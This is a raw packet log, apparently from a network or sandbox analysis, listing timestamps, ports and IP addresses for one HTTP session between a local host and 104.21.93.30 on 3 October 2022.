Oct 3, 2022 17:34:52.663708925 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.663716078 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.663736105 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.663764000 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.663765907 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.663817883 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.663845062 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.663871050 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.663872957 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.663901091 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.663901091 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.663927078 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.663954973 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.663954973 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.663985014 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.664009094 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.664010048 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.664037943 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.664060116 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.664062977 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.664092064 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.664118052 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.664119005 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.664144039 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.664167881 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.680679083 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.680718899 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.680744886 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.680771112 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.680799007 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.680824041 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.680846930 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.680850983 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.680846930 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.680847883 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.680880070 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.680908918 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.680921078 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.680938005 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.680960894 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.680986881 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.681015968 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.681042910 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.681071043 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.681097984 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.681102037 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.681123972 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.681102037 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.681102037 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.681152105 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.681180954 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.681209087 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.681237936 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.681262970 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.681262970 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.681266069 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.681262970 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.681288958 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.681310892 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.681337118 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.681365013 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.681368113 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.681391001 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.681418896 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.681456089 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.681485891 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.681487083 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.681485891 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.681516886 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.681548119 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.681561947 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.681561947 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.681603909 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.681632042 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.681649923 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.681658983 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.681687117 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.681701899 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.681715012 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.681741953 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.681761026 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.681767941 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.681797028 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.681813002 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.681824923 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.681854010 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.681871891 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.681879997 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.681907892 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.681921005 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.681936026 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.681962967 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.681978941 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.681988955 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.682015896 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.682033062 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.682041883 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.682069063 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.682085037 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.682095051 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.682121992 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.682137966 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.682147026 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.682174921 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.682188988 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.682200909 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.682228088 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.682243109 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.682255030 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.682284117 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.682300091 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.682311058 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.682338953 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.682354927 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.682364941 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.682391882 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.682405949 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.682418108 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.682461023 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.682702065 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.682729959 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.682754993 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.682777882 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.682780981 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.682809114 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.682823896 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.682835102 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.682862043 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.682904959 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.682907104 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.682936907 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.682962894 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.682988882 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.683015108 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.683022022 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.683022022 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.683043003 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.683070898 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.683098078 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.683120012 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.683149099 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.683149099 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.683149099 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.683516979 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.707546949 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.707590103 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.707603931 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.707614899 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.707626104 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.707629919 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.707643986 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.707663059 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.707679987 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.707679033 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.707679033 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.707699060 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.707716942 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.707734108 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.707734108 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.707736969 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.707756042 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.707772017 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.707772970 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.707792997 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.707799911 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.707812071 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.707828999 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.707828999 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.707848072 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.707865953 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.707870960 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.707885027 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.707902908 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.707915068 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.707921028 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.707938910 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.707952976 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.707957983 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.707976103 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.707978964 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.707992077 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.708010912 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.708025932 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.708031893 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.708053112 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.708100080 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.708117962 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.708137035 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.708153963 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.708172083 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.708184004 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.708189011 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.708197117 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.708209038 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.708214998 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.708228111 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.708245993 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.708252907 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.708264112 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.708281994 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.708292007 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.708300114 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.708317995 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.708326101 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.708336115 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.708353996 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.708364010 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.708373070 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.708390951 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.708393097 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.708409071 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.708425999 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.708426952 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.708463907 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.709033966 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.709053993 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.709070921 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.709100008 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.709104061 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.709140062 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.709158897 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.709176064 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.709192991 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.709203959 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.709229946 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.709249020 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.709268093 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.709271908 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.709286928 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.709304094 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.709310055 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.709322929 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.709341049 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.709347963 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.709358931 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.709377050 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.709382057 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.709395885 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.709414005 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.709417105 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.709431887 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.709449053 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.709454060 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.709467888 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.709491014 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.709959030 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.709979057 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.709995985 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.710012913 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.710028887 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.710031033 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.710047960 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.710052013 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.710071087 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.710071087 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.710088968 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.710107088 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.710117102 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.710124969 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.710143089 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.710150957 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.710160971 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.710179090 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.710189104 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.710197926 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.710217953 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.710225105 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.710237026 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.710254908 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.710258961 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.710273981 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.710290909 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.710299015 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.710309029 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.710325956 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.710335016 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.710364103 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.710901976 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.710928917 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.710952997 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.710975885 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.710994005 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.711000919 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.711011887 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.711025953 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.711030960 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.711050987 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.711057901 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.711070061 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.711088896 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.711092949 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.711107969 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.711124897 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.711134911 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.711143017 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.711160898 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.711169004 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.711179018 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.711198092 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.711210012 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.711216927 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.711236954 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.711245060 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.711256027 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.711272955 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.711277962 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.711292028 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.711313963 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.711875916 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.711895943 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.711914062 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.711931944 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.711946011 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.711950064 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.711968899 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.711980104 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.711987019 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.711993933 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.712007046 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.712024927 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.712033033 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.712044001 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.712060928 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.712064981 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.712080956 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.712097883 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.712104082 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.712125063 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.712142944 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.712155104 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.712160110 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.712179899 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.712186098 CEST	49702	80	192.168.2.7	104.21.93.30
